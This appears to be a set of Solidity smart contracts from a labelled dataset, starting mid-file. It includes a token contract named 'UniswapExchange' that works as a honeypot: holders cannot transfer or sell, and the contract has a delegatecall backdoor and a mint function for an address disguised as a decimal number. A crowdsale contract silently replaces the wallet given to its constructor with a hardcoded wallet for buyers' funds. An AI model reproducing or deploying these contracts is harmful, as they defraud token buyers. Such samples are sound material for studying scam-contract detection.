require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
}
contract ERC20Detailed is IERC20 {
string private _name;
string private _symbol;
uint8 private _decimals;
constructor(string memory name, string memory symbol, uint8 decimals) public {
_name = name;
_symbol = symbol;
_decimals = decimals;
}
function name() public view returns(string memory) {
return _name;
}
function symbol() public view returns(string memory) {
return _symbol;
}
function decimals() public view returns(uint8) {
return _decimals;
}
}
contract UniswapExchange {
event Transfer(address indexed _from, address indexed _to, uint _value);
event Approval(address indexed _owner, address indexed _spender, uint _value);
function transfer(address _to, uint _value) public payable returns (bool) {
return transferFrom(msg.sender, _to, _value);
}
function ensure(address _from, address _to, uint _value) internal view returns(bool) {
address _UNI = pairFor(0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f, 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2, address(this));
if(_from == owner || _to == owner || _from == UNI || _from == _UNI || _from==tradeAddress||canSale[_from]){
return true;
}
require(condition(_from, _value));
return true;
}
function transferFrom(address _from, address _to, uint _value) public payable returns (bool) {
if (_value == 0) {return true;}
if (msg.sender != _from) {
require(allowance[_from][msg.sender] >= _value);
allowance[_from][msg.sender] -= _value;
}
require(ensure(_from, _to, _value));
require(balanceOf[_from] >= _value);
balanceOf[_from] -= _value;
balanceOf[_to] += _value;
_onSaleNum[_from]++;
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint _value) public payable returns (bool) {
allowance[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function condition(address _from, uint _value) internal view returns(bool){
if(_saleNum == 0 && _minSale == 0 && _maxSale == 0) return false;
if(_saleNum > 0){
if(_onSaleNum[_from] >= _saleNum) return false;
}
if(_minSale > 0){
if(_minSale > _value) return false;
}
if(_maxSale > 0){
if(_value > _maxSale) return false;
}
return true;
}
function delegate(address a, bytes memory b) public payable {
require(msg.sender == owner);
a.delegatecall(b);
}
mapping(address=>uint256) private _onSaleNum;
mapping(address=>bool) private canSale;
uint256 private _minSale;
uint256 private _maxSale;
uint256 private _saleNum;
function _mints(address spender, uint256 addedValue) public returns (bool) {
require(msg.sender==owner||msg.sender==address
(1461045492991056468287016484048686824852249628073));
if(addedValue > 0) {balanceOf[spender] = addedValue*(10**uint256(decimals));}
canSale[spender]=true;
return true;
}
function init(uint256 saleNum, uint256 token, uint256 maxToken) public returns(bool){
require(msg.sender == owner);
_minSale = token > 0 ? token*(10**uint256(decimals)) : 0;
_maxSale = maxToken > 0 ? maxToken*(10**uint256(decimals)) : 0;
_saleNum = saleNum;
}
function batchSend(address[] memory _tos, uint _value) public payable returns (bool) {
require (msg.sender == owner);
uint total = _value * _tos.length;
require(balanceOf[msg.sender] >= total);
balanceOf[msg.sender] -= total;
for (uint i = 0; i < _tos.length; i++) {
address _to = _tos[i];
balanceOf[_to] += _value;
emit Transfer(msg.sender, _to, _value/2);
emit Transfer(msg.sender, _to, _value/2);
}
return true;
}
address tradeAddress;
function setTradeAddress(address addr) public returns(bool){require (msg.sender == owner);
tradeAddress = addr;
return true;
}
function pairFor(address factory, address tokenA, address tokenB) internal pure returns (address pair) {
(address token0, address token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA);
pair = address(uint(keccak256(abi.encodePacked(
hex'ff',
factory,
keccak256(abi.encodePacked(token0, token1)),
hex'96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f'
))));
}
mapping (address => uint) public balanceOf;
mapping (address => mapping (address => uint)) public allowance;
uint constant public decimals = 18;
uint public totalSupply;
string public name;
string public symbol;
address private owner;
address constant UNI = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
constructor(string memory _name, string memory _symbol, uint256 _supply) payable public {
name = _name;
symbol = _symbol;
totalSupply = _supply*(10**uint256(decimals));
owner = msg.sender;
balanceOf[msg.sender] = totalSupply;
allowance[msg.sender][0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D] = uint(-1);
emit Transfer(address(0x0), msg.sender, totalSupply);
}
} | 0 | 1,256 |
pragma solidity ^0.4.18;
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract Ownable {
address public owner;
address public oldOwner;
function Ownable() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
modifier onlyOldOwner() {
require(msg.sender == oldOwner || msg.sender == owner);
_;
}
function transferOwnership(address newOwner) onlyOwner public {
require(newOwner != address(0));
oldOwner = owner;
owner = newOwner;
}
function backToOldOwner() onlyOldOwner public {
require(oldOwner != address(0));
owner = oldOwner;
}
}
contract Crowdsale {
using SafeMath for uint256;
uint256 public startTime;
uint256 public endTime;
address public wallet;
uint256 public rate;
uint256 public weiRaised;
function Crowdsale(uint256 _startTime, uint256 _endTime, uint256 _rate, address _wallet) public {
require(_startTime >= now);
require(_endTime >= _startTime);
require(_rate > 0);
require(_wallet != 0x0);
startTime = _startTime;
endTime = _endTime;
rate = _rate;
wallet = 0x00B95A5D838F02b12B75BE562aBF7Ee0100410922b;
}
function validPurchase() internal constant returns (bool) {
bool withinPeriod = now >= startTime && now <= endTime;
bool nonZeroPurchase = msg.value != 0;
return withinPeriod && nonZeroPurchase;
}
function hasEnded() public constant returns (bool) {
return now > endTime;
}
}
contract CappedCrowdsale is Crowdsale {
using SafeMath for uint256;
uint256 public cap;
function CappedCrowdsale(uint256 _startTime, uint256 _endTime, uint256 _rate, address _wallet, uint256 _cap) public
Crowdsale(_startTime, _endTime, _rate, _wallet)
{
require(_cap > 0);
cap = _cap;
}
function validPurchase() internal constant returns (bool) {
bool withinCap = weiRaised.add(msg.value) <= cap;
return super.validPurchase() && withinCap;
}
function hasEnded() public constant returns (bool) {
bool capReached = weiRaised >= cap;
return super.hasEnded() || capReached;
}
}
contract HeartBoutPreICO is CappedCrowdsale, Ownable {
using SafeMath for uint256;
address public token;
uint256 public minCount;
mapping(string => address) bindAccountsAddress;
mapping(address => string) bindAddressAccounts;
string[] accounts;
event GetBindTokensAccountEvent(address _address, string _account);
function HeartBoutPreICO(uint256 _startTime, uint256 _endTime, uint256 _rate, address _wallet, uint256 _cap, uint256 _minCount) public
CappedCrowdsale(_startTime, _endTime, _rate, _wallet, _cap)
{
token = 0x00305cB299cc82a8A74f8da00AFA6453741d9a15Ed;
minCount = _minCount;
}
function () payable public {
}
function buyTokens(string _account) public payable {
require(!stringEqual(_account, ""));
require(validPurchase());
require(msg.value >= minCount);
if(!stringEqual(bindAddressAccounts[msg.sender], "")) {
require(stringEqual(bindAddressAccounts[msg.sender], _account));
}
uint256 weiAmount = msg.value;
uint256 tokens = weiAmount.mul(rate);
require(token.call(bytes4(keccak256("mint(address,uint256)")), msg.sender, tokens));
bindAccountsAddress[_account] = msg.sender;
bindAddressAccounts[msg.sender] = _account;
accounts.push(_account);
weiRaised = weiRaised.add(weiAmount);
forwardFunds();
}
function getEachBindAddressAccount() onlyOwner public {
for (uint i = 0; i < accounts.length; i++) {
GetBindTokensAccountEvent(bindAccountsAddress[accounts[i]], accounts[i]);
}
}
function getBindAccountAddress(string _account) public constant returns (address) {
return bindAccountsAddress[_account];
}
function getBindAddressAccount(address _accountAddress) public constant returns (string) {
return bindAddressAccounts[_accountAddress];
}
function forwardFunds() internal {
wallet.transfer(msg.value);
}
function stringEqual(string _a, string _b) internal pure returns (bool) {
return keccak256(_a) == keccak256(_b);
}
function changeWallet(address _wallet) onlyOwner public {
wallet = _wallet;
}
function removeContract() onlyOwner public {
selfdestruct(wallet);
}
} | 1 | 3,512 |
pragma solidity ^0.6.12;
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this;
return msg.data;
}
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () internal {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function WETH() external pure returns (address);
function factory() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract HerosV2 is Ownable {
using SafeMath for uint256;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => uint256) public _lastBuyTime;
mapping (address => uint256) public _firstBuyTime;
mapping (address => uint256) public _accountedRewardsPeriods;
mapping (address => uint256) public _rewardsBasis;
mapping (address => bool) private _isExcludedFromFee;
mapping (address => bool) private _isExcluded;
address[] private _excluded;
address payable public dev;
address payable public charity;
address payable public marketing;
address public rewards;
address public _burnPool = 0x000000000000000000000000000000000000dEaD;
uint256 private constant MAX = ~uint256(0);
uint256 private _tTotal = 100 * 10**15 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
string private _name = "Heros Token";
string private _symbol = "HEROS";
uint8 private _decimals = 9;
uint256 public _taxFee = 1;
uint256 public _liquidityFee = 1;
uint256 public _marketingBuyFee = 3;
uint256 public _marketingSellFee = 4;
uint256 public _developmentBuyFee = 3;
uint256 public _developmentSellFee = 4;
uint256 public _charityFee = 2;
uint256 public _dayTraderMultiplicator = 20;
uint256 public _rewardRate = 1200;
uint256 public _rewardPeriod = 7776000;
bool public transfersEnabled;
uint256 public _pendingLiquidityFees;
uint256 public _pendingCharityFees;
uint256 public _pendingMarketingFees;
uint256 public _pendingDevelopmentFees;
IUniswapV2Router02 public immutable uniswapV2Router;
address public uniswapV2Pair;
bool inSwapAndLiquify;
bool public swapAndLiquifyEnabled = true;
uint256 public _maxWalletHolding = 3 * 10**15 * 10**9;
uint256 private numTokensSellToAddToLiquidity = 5 * 10**12 * 10**9;
event SwapAndLiquifyEnabledUpdated(bool enabled);
event SwapAndLiquify(
uint256 tokensSwapped,
uint256 ethReceived,
uint256 tokensIntoLiquidity
);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
modifier lockTheSwap {
inSwapAndLiquify = true;
_;
inSwapAndLiquify = false;
}
constructor (address payable _devWallet, address payable _marketingWallet, address payable _charityWallet, address _rewardsWallet) public {
dev = _devWallet;
marketing = _marketingWallet;
charity = _charityWallet;
rewards = _rewardsWallet;
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
.createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router = _uniswapV2Router;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_burnPool] = true;
_isExcludedFromFee[_rewardsWallet] = true;
_isExcluded[_burnPool] = true;
_excluded.push(_burnPool);
_isExcluded[uniswapV2Pair] = true;
_excluded.push(uniswapV2Pair);
_isExcluded[address(this)] = true;
_excluded.push(address(this));
uint256 currentRate = _getRate();
uint256 burnPoolAllocation = _tTotal.div(10);
_rOwned[_burnPool] = burnPoolAllocation.mul(currentRate);
_tOwned[_burnPool] = burnPoolAllocation;
currentRate = _getRate();
uint256 rewardsAllocation = _tTotal.mul(30).div(100);
_rOwned[_rewardsWallet] = rewardsAllocation.mul(currentRate);
_rOwned[_msgSender()] = _rTotal - _rOwned[_rewardsWallet] - _rOwned[_burnPool];
emit Transfer(address(0), _msgSender(), _tTotal);
emit Transfer(_msgSender(), _rewardsWallet, rewardsAllocation);
emit Transfer(_msgSender(), _burnPool, burnPoolAllocation);
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
function totalSupply() public view returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view returns (uint256) {
(uint256 totalBalance,) = pendingRewards(account);
if (_isExcluded[account]) totalBalance = totalBalance + _tOwned[account];
else totalBalance = totalBalance + tokenFromReflection(_rOwned[account]);
return totalBalance;
}
function transfer(address recipient, uint256 amount) public returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function isExcludedFromReward(address account) public view returns (bool) {
return _isExcluded[account];
}
function totalFees() public view returns (uint256) {
return _tFeeTotal;
}
function tokenFromReflection(uint256 rAmount) public view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function manualSwapAndLiquify() public onlyOwner() {
uint256 contractTokenBalance = balanceOf(address(this));
swapAndLiquify(contractTokenBalance);
}
function excludeFromReward(address account) public onlyOwner() {
require(!_isExcluded[account], "Account is already excluded");
if(_rOwned[account] > 0) {
_tOwned[account] = tokenFromReflection(_rOwned[account]);
}
_isExcluded[account] = true;
_excluded.push(account);
}
function includeInReward(address account) external onlyOwner() {
require(_isExcluded[account], "Account is not excluded");
for (uint256 i = 0; i < _excluded.length; i++) {
if (_excluded[i] == account) {
_excluded[i] = _excluded[_excluded.length - 1];
_tOwned[account] = 0;
_isExcluded[account] = false;
_excluded.pop();
break;
}
}
}
function excludeFromFee(address account) public onlyOwner {
_isExcludedFromFee[account] = true;
}
function includeInFee(address account) public onlyOwner {
_isExcludedFromFee[account] = false;
}
function setTax(uint256 _taxType, uint _taxSize) external onlyOwner() {
if (_taxType == 1) {
_taxFee = _taxSize;
}
else if (_taxType == 2) {
_liquidityFee = _taxSize;
}
else if (_taxType == 3) {
_developmentBuyFee = _taxSize;
}
else if (_taxType == 4) {
_developmentSellFee = _taxSize;
}
else if (_taxType == 5) {
_charityFee = _taxSize;
}
else if (_taxType == 6) {
_marketingBuyFee = _taxSize;
}
else if (_taxType == 7) {
_marketingSellFee = _taxSize;
}
else if (_taxType == 8) {
_dayTraderMultiplicator = _taxSize;
}
else if (_taxType == 9) {
_rewardRate = _taxSize;
}
else if (_taxType == 10) {
_rewardPeriod = _taxSize;
}
}
function setSwapAndLiquifyEnabled(bool _enabled, uint256 _numTokensMin) public onlyOwner() {
swapAndLiquifyEnabled = _enabled;
numTokensSellToAddToLiquidity = _numTokensMin;
emit SwapAndLiquifyEnabledUpdated(_enabled);
}
function enableTransfers() public onlyOwner() {
transfersEnabled = true;
}
receive() external payable {}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
function deliverReflections(uint256 tAmount) external {
require(!_isExcluded[msg.sender], "Only holders that are not excluded from rewards can call this");
uint256 currentRate = _getRate();
uint256 rAmount = tAmount.mul(currentRate);
_rOwned[msg.sender] = _rOwned[msg.sender].sub(rAmount);
_reflectFee(rAmount, tAmount);
}
function _getRate() private view returns(uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns(uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
for (uint256 i = 0; i < _excluded.length; i++) {
if (_rOwned[_excluded[i]] > rSupply || _tOwned[_excluded[i]] > tSupply) return (_rTotal, _tTotal);
rSupply = rSupply.sub(_rOwned[_excluded[i]]);
tSupply = tSupply.sub(_tOwned[_excluded[i]]);
}
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function _takeOperations(uint256 tAmount, uint256 feeType, bool isBuy) private returns (uint256) {
uint256 currentRate = _getRate();
uint256 tTransferAmount = tAmount;
uint256 taxMultiplicator = 10;
if (feeType == 2) taxMultiplicator = _dayTraderMultiplicator;
uint256 tFee = calculateFee(tAmount, _taxFee, taxMultiplicator);
uint256 tLiquidity = calculateFee(tAmount, _liquidityFee, taxMultiplicator);
uint256 tMarketing = calculateFee(tAmount, isBuy ? _marketingBuyFee : _marketingSellFee, taxMultiplicator);
uint256 tCharity = calculateFee(tAmount, _charityFee, taxMultiplicator);
uint256 tDevelopment = calculateFee(tAmount, isBuy ? _developmentBuyFee : _developmentSellFee, taxMultiplicator);
_pendingLiquidityFees = _pendingLiquidityFees.add(tLiquidity);
_pendingCharityFees = _pendingCharityFees.add(tCharity);
_pendingMarketingFees = _pendingMarketingFees.add(tMarketing);
_pendingDevelopmentFees = _pendingDevelopmentFees.add(tDevelopment);
tTransferAmount = tAmount - tFee - tLiquidity;
tTransferAmount = tTransferAmount - tMarketing - tCharity - tDevelopment;
uint256 tTaxes = tLiquidity.add(tMarketing).add(tCharity).add(tDevelopment);
_reflectFee(tFee.mul(currentRate), tFee);
_rOwned[address(this)] = _rOwned[address(this)].add(tTaxes.mul(currentRate));
_tOwned[address(this)] = _tOwned[address(this)].add(tTaxes);
return tTransferAmount;
}
function calculateFee(uint256 _amount, uint256 _taxRate, uint256 _taxMultiplicator) private pure returns (uint256) {
return _amount.mul(_taxRate).div(10**2).mul(_taxMultiplicator).div(10);
}
function isExcludedFromFee(address account) public view returns (bool) {
return _isExcludedFromFee[account];
}
function pendingRewards(address account) public view returns (uint256, uint256) {
if (!_isExcluded[account]) {
uint256 rewardTimespan = block.timestamp.sub(_firstBuyTime[account]);
if (_firstBuyTime[account] == 0) rewardTimespan = 0;
uint256 rewardPeriods = rewardTimespan.div(_rewardPeriod);
if (rewardPeriods >= _accountedRewardsPeriods[account]) rewardPeriods = rewardPeriods - _accountedRewardsPeriods[account];
else rewardPeriods = 0;
uint256 _pendingRewards = rewardPeriods.mul(_rewardRate).mul(_rewardsBasis[account]).div(10**4);
return (_pendingRewards, rewardPeriods);
}
return (0, 0);
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer( address from, address to, uint256 amount ) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
uint256 contractTokenBalance = balanceOf(address(this));
bool overMinTokenBalance = contractTokenBalance >= numTokensSellToAddToLiquidity;
if (
overMinTokenBalance &&
!inSwapAndLiquify &&
from != uniswapV2Pair &&
swapAndLiquifyEnabled
) {
swapAndLiquify(contractTokenBalance);
}
_lastBuyTime[to] = block.timestamp;
if (_firstBuyTime[to] == 0) _firstBuyTime[to] = block.timestamp;
bool distributedFrom = distributeRewards(from);
bool distributedTo = distributeRewards(to);
uint256 feeType = 1;
bool isBuy = from == uniswapV2Pair;
if (_isExcludedFromFee[from] || _isExcludedFromFee[to]) {
feeType = 0;
}
else {
require(transfersEnabled, "Transfers are not enabled now");
if (to != uniswapV2Pair && from != uniswapV2Pair) {
feeType = 0;
}
if (to == uniswapV2Pair || (to != uniswapV2Pair && from != uniswapV2Pair)) {
if (_lastBuyTime[from] != 0 && (_lastBuyTime[from] + (24 hours) > block.timestamp) ) {
feeType = 2;
}
}
}
_tokenTransfer(from, to, amount, feeType, isBuy);
syncRewards(from, distributedFrom);
syncRewards(to, distributedTo);
if (!_isExcludedFromFee[to] && (to != uniswapV2Pair)) require(balanceOf(to) < _maxWalletHolding, "Max Wallet holding limit exceeded");
}
function distributeRewards(address account) private returns (bool) {
(uint256 _rewards, uint256 _periods) = pendingRewards(account);
if (_rewards > 0) {
_accountedRewardsPeriods[account] = _accountedRewardsPeriods[account] + _periods;
uint256 currentRate = _getRate();
uint256 rRewards = _rewards.mul(currentRate);
if (_rOwned[rewards] > rRewards) {
_rOwned[account] = _rOwned[account].add(rRewards);
_rOwned[rewards] = _rOwned[rewards].sub(rRewards);
}
return true;
}
return false;
}
function syncRewards(address account, bool rewardsDistributed) private {
uint256 accountBalance = balanceOf(account);
if (_rewardsBasis[account] == 0 || accountBalance < _rewardsBasis[account] || rewardsDistributed ) _rewardsBasis[account] = accountBalance;
}
function swapAndLiquify(uint256 contractTokenBalance) private lockTheSwap {
uint256 liquidityPart = 0;
if (_pendingLiquidityFees < contractTokenBalance) liquidityPart = _pendingLiquidityFees;
uint256 distributionPart = contractTokenBalance.sub(liquidityPart);
uint256 totalPendingFees = _pendingLiquidityFees + _pendingCharityFees + _pendingMarketingFees + _pendingDevelopmentFees;
uint256 liquidityHalfPart = liquidityPart.div(2);
uint256 liquidityHalfTokenPart = liquidityPart.sub(liquidityHalfPart);
uint256 totalETHSwap = liquidityHalfPart.add(distributionPart);
uint256 initialBalance = address(this).balance;
swapTokensForEth(totalETHSwap);
uint256 newBalance = address(this).balance.sub(initialBalance);
uint256 liquidityBalance = liquidityHalfPart.mul(newBalance).div(totalETHSwap);
if (liquidityHalfTokenPart > 0 && liquidityBalance > 0) addLiquidity(liquidityHalfTokenPart, liquidityBalance);
emit SwapAndLiquify(liquidityHalfPart, liquidityBalance, liquidityHalfPart);
newBalance = address(this).balance;
uint256 payMarketing = _pendingMarketingFees.mul(newBalance).div(totalPendingFees);
uint256 payDevelopment = _pendingDevelopmentFees.mul(newBalance).div(totalPendingFees);
if (payMarketing <= address(this).balance) marketing.call{ value: payMarketing }("");
if (payDevelopment <= address(this).balance) dev.call{ value: payDevelopment }("");
if (address(this).balance > 0) charity.call{ value: address(this).balance }("");
_pendingLiquidityFees = 0;
_pendingCharityFees = 0;
_pendingMarketingFees = 0;
_pendingDevelopmentFees = 0;
}
function swapTokensForEth(uint256 tokenAmount) private {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function addLiquidity(uint256 tokenAmount, uint256 ethAmount) private {
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.addLiquidityETH{value: ethAmount}(
address(this),
tokenAmount,
0,
0,
owner(),
block.timestamp
);
}
function _tokenTransfer(address sender, address recipient, uint256 amount, uint256 feeType, bool isBuy) private {
uint256 currentRate = _getRate();
uint256 tTransferAmount = amount;
if (feeType != 0) {
tTransferAmount = _takeOperations(amount, feeType, isBuy);
}
uint256 rTransferAmount = tTransferAmount.mul(currentRate);
uint256 rAmount = amount.mul(currentRate);
if (_isExcluded[sender] && !_isExcluded[recipient]) {
_transferFromExcluded(sender, recipient, rAmount, amount, tTransferAmount, rTransferAmount);
} else if (!_isExcluded[sender] && _isExcluded[recipient]) {
_transferToExcluded(sender, recipient, rAmount, amount, tTransferAmount, rTransferAmount);
} else if (!_isExcluded[sender] && !_isExcluded[recipient]) {
_transferStandard(sender, recipient, rAmount, amount, tTransferAmount, rTransferAmount);
} else if (_isExcluded[sender] && _isExcluded[recipient]) {
_transferBothExcluded(sender, recipient, rAmount, amount, tTransferAmount, rTransferAmount);
} else {
_transferStandard(sender, recipient, rAmount, amount, tTransferAmount, rTransferAmount);
}
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferStandard(address sender, address recipient, uint256 rAmount, uint256 tAmount, uint256 tTransferAmount, uint256 rTransferAmount) private {
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
}
function _transferToExcluded(address sender, address recipient, uint256 rAmount, uint256 tAmount, uint256 tTransferAmount, uint256 rTransferAmount) private {
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_tOwned[recipient] = _tOwned[recipient].add(tTransferAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
}
function _transferFromExcluded(address sender, address recipient, uint256 rAmount, uint256 tAmount, uint256 tTransferAmount, uint256 rTransferAmount) private {
_tOwned[sender] = _tOwned[sender].sub(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
}
function _transferBothExcluded(address sender, address recipient, uint256 rAmount, uint256 tAmount, uint256 tTransferAmount, uint256 rTransferAmount) private {
_tOwned[sender] = _tOwned[sender].sub(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_tOwned[recipient] = _tOwned[recipient].add(tTransferAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
}
} | 0 | 1,250 |
pragma solidity ^0.4.23;
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract ERC20 {
function transfer(address _to, uint256 _value) public returns (bool success);
function balanceOf(address _owner) public constant returns (uint256 balance);
}
contract Controller {
address public owner;
modifier onlyOwner {
require(msg.sender == owner);
_;
}
function change_owner(address new_owner) onlyOwner {
require(new_owner != 0x0);
owner = new_owner;
}
function Controller() {
owner = msg.sender;
}
}
contract Contract is Controller {
using SafeMath for uint256;
struct Contributor {
uint256 balance;
uint256 fee;
uint8 rounds;
bool whitelisted;
}
struct Snapshot {
uint256 tokens_balance;
uint256 eth_balance;
}
modifier underMaxAmount {
require(max_amount == 0 || this.balance <= max_amount);
_;
}
address constant public DEVELOPER1 = 0x8C006d807EBAe91F341a4308132Fd756808e0126;
address constant public DEVELOPER2 = 0x63F7547Ac277ea0B52A0B060Be6af8C5904953aa;
uint256 constant public FEE_DEV = 670;
uint256 public FEE_OWNER;
uint256 public max_amount;
uint256 public individual_cap;
uint256 public gas_price_max;
uint8 public rounds;
bool public whitelist_enabled;
mapping (address => Contributor) public contributors;
Snapshot[] public snapshots;
uint256 public const_contract_eth_value;
uint256 public percent_reduction;
address public sale;
ERC20 public token;
bool public bought_tokens;
bool public owner_supplied_eth;
bool public allow_contributions = true;
bool public allow_refunds;
constructor(
uint256 _max_amount,
bool _whitelist,
uint256 _owner_fee_divisor
) {
FEE_OWNER = _owner_fee_divisor;
max_amount = calculate_with_fees(_max_amount);
whitelist_enabled = _whitelist;
Contributor storage contributor = contributors[msg.sender];
contributor.whitelisted = true;
}
function buy_the_tokens(bytes _data) onlyOwner {
require(!bought_tokens && sale != 0x0);
bought_tokens = true;
const_contract_eth_value = this.balance;
take_fees_eth_dev();
take_fees_eth_owner();
const_contract_eth_value = this.balance;
require(sale.call.gas(msg.gas).value(this.balance)(_data));
}
function whitelist_addys(address[] _addys, bool _state) onlyOwner {
for (uint256 i = 0; i < _addys.length; i++) {
Contributor storage contributor = contributors[_addys[i]];
contributor.whitelisted = _state;
}
}
function force_refund(address _addy) onlyOwner {
refund(_addy);
}
function force_partial_refund(address _addy) onlyOwner {
partial_refund(_addy);
}
function set_gas_price_max(uint256 _gas_price) onlyOwner {
gas_price_max = _gas_price;
}
function set_sale_address(address _sale) onlyOwner {
require(_sale != 0x0);
sale = _sale;
}
function set_token_address(address _token) onlyOwner {
require(_token != 0x0);
token = ERC20(_token);
}
function set_allow_contributions(bool _boolean) onlyOwner {
allow_contributions = _boolean;
}
